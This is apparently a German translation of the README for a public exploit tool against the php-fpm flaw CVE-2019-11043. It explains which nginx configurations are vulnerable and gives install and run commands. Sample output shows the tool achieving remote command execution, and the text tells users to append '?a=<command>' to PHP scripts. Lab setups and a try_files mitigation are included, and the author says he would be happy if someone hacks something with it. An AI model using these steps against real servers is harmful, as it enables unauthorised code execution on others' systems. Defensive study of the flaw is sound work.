
Exploit für CVE-2019-11043
Dies ist ein Exploit für einen Fehler in php-fpm (CVE-2019-11043). In bestimmten nginx + php-fpm-Konfigurationen ist der Fehler von außen auslösbar. Das bedeutet, dass ein Webnutzer Codeausführung erlangen kann, wenn Sie eine verwundbare Konfiguration haben (siehe unten).
Während wir zu faul waren, eine Analyse zu schreiben, hat Orange Tsai eine perfekte Analyse in seinem Blog veröffentlicht. Respekt an ihn.
Außerdem sind meine Folien von der ZeroNights 2019 verfügbar.
Wenn ein Webserver nginx + php-fpm betreibt und nginx eine Konfiguration wie die folgende hat
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
welche ebenfalls jegliche Prüfungen auf Skriptexistenz (wie try_files) vermissen lässt, dann können Sie es wahrscheinlich mit diesem Exploit hacken.
location ~ [^/]\.php(/|$) muss an php-fpm weitergeleitet werden (vielleicht kann der reguläre Ausdruck strenger sein, siehe #1).PATH_INFO über die Anweisung fastcgi_param PATH_INFO $fastcgi_path_info; geben. Auch muss SCRIPT_FILENAME mit fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; gesetzt werden (es könnte ein konstanter Pfad anstelle von $document_root sein). Zuerst dachten wir, diese sind immer in der fastcgi_params-Datei vorhanden, aber das stimmt nicht.PATH_INFO auf einen leeren Wert zu setzen. Dieser Exploit geht davon aus, dass die Direktive fastcgi_split_path_info vorhanden ist und einen regulären Ausdruck enthält, der mit ^ beginnt und mit $ endet, und versucht daher, den regulären Ausdruck mit einem Zeilenumbruch zu durchbrechen.Vor langer Zeit schränkte php-fpm die Erweiterungen der Skripte nicht ein, was bedeutete, dass so etwas wie /avatar.png/some-fake-shit.php avatar.png als PHP-Skript ausführen konnte. Dieses Problem wurde um 2010 behoben.
Der aktuelle erfordert keinen Dateiupload, funktioniert in den neuesten Versionen (bis der Fix veröffentlicht wurde), und, am wichtigsten, der Exploit ist viel cooler.
Installieren Sie es mit
go get github.com/neex/phuip-fpizdam
Wenn Sie seltsame Kompilierungsfehler erhalten, stellen Sie sicher, dass Sie go >= 1.13 verwenden. Führen Sie das Programm mit phuip-fpizdam [url] aus (vorausgesetzt, Sie haben $GOPATH/bin in Ihrem $PATH, andernfalls geben Sie den vollständigen Pfad zur Binärdatei an). Eine gute Ausgabe sieht so aus:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Danach können Sie beginnen, ?a=<Ihr Befehl> an alle PHP-Skripte anzuhängen (Sie müssen möglicherweise mehrere Versuche unternehmen).
Alternativ können Sie ein Docker-Image verwenden, um den Exploit auszuführen:
docker run --rm ypereirareis/cve-2019-11043 [url]
Wenn Sie das Problem reproduzieren oder lokal mit dem Exploit über Docker spielen möchten, gehen Sie wie folgt vor:
reproducer.docker build -t reproduce-cve-2019-11043 .. Es dauert lange, da es intern das PHP-Repository klont und aus dem Quellcode erstellt. Dies wird jedoch einfacher sein, wenn Sie den Exploit debuggen möchten. Die erstellte Revision ist diejenige direkt vor dem Fix.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 aus.phuip-fpizdam http://127.0.0.1:8080/script.php aus.?a= an das Skript anhängen: http://127.0.0.1:8080/script.php?a=id. Versuchen Sie es mehrmals, da nur einige der php-fpm-Worker infiziert sind.Wenn Sie das Problem reproduzieren oder lokal mit dem Exploit über LXD spielen möchten, gehen Sie wie folgt vor:
vulnerable und attacker. Sie können das Container-Image ubuntu:18.04 für beide Container verwenden.vulnerable nginx und php-fpm. Konfigurieren Sie den Server-Block als diese Konfiguration. Erstellen Sie eine leere Datei /var/www/html/index.php.attacker die Go-Sprache (sudo snap install go --classic), klonen Sie dieses Repository und führen Sie go build im Verzeichnis des Repositorys aus../phuip-fpizdam http://vulnerable.lxd/index.php. Versuchen Sie mehrere Typen, um alle php-fpm-Worker zu infizieren.Für detailliertere Anweisungen siehe Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
Der Pufferunterlauf in php-fpm ist in PHP Version 5 vorhanden. Allerdings nutzt dieser Exploit eine Optimierung zur Speicherung von FastCGI-Variablen, _fcgi_data_seg. Diese Optimierung ist nur in PHP 7 vorhanden, daher funktioniert dieser spezielle Exploit nur für PHP 7. Es könnte eine andere Ausnutzungstechnik geben, die in PHP 5 funktioniert.
Ursprüngliche Anomalie entdeckt von d90pwn während der Real World CTF. Grundlegende Ursache gefunden von mir (Emil Lerner) sowie der Weg, php.ini-Optionen zu setzen. Der endgültige Satz von php.ini-Optionen wurde von beched gefunden.
Dieser Exploit wird unter den Bedingungen der MIT-Lizenz verteilt.
Unterlassen Sie es, mit diesem Exploit Schaden anzurichten. Aber wenn Sie wirklich etwas mit diesem Ding hacken, werde ich glücklich sein.
PATH_INFO nach REQUEST_URI in der Konfiguration gesetzt wird.try_files $uri =404 oder if (-f $uri). Wenn Nginx Anfragen an nicht vorhandene Skripte vor der FastCGI-Weiterleitung ablehnt, erreichen unsere Anfragen nie php-fpm. Dies hinzuzufügen ist auch der einfachste Weg, um zu patchen.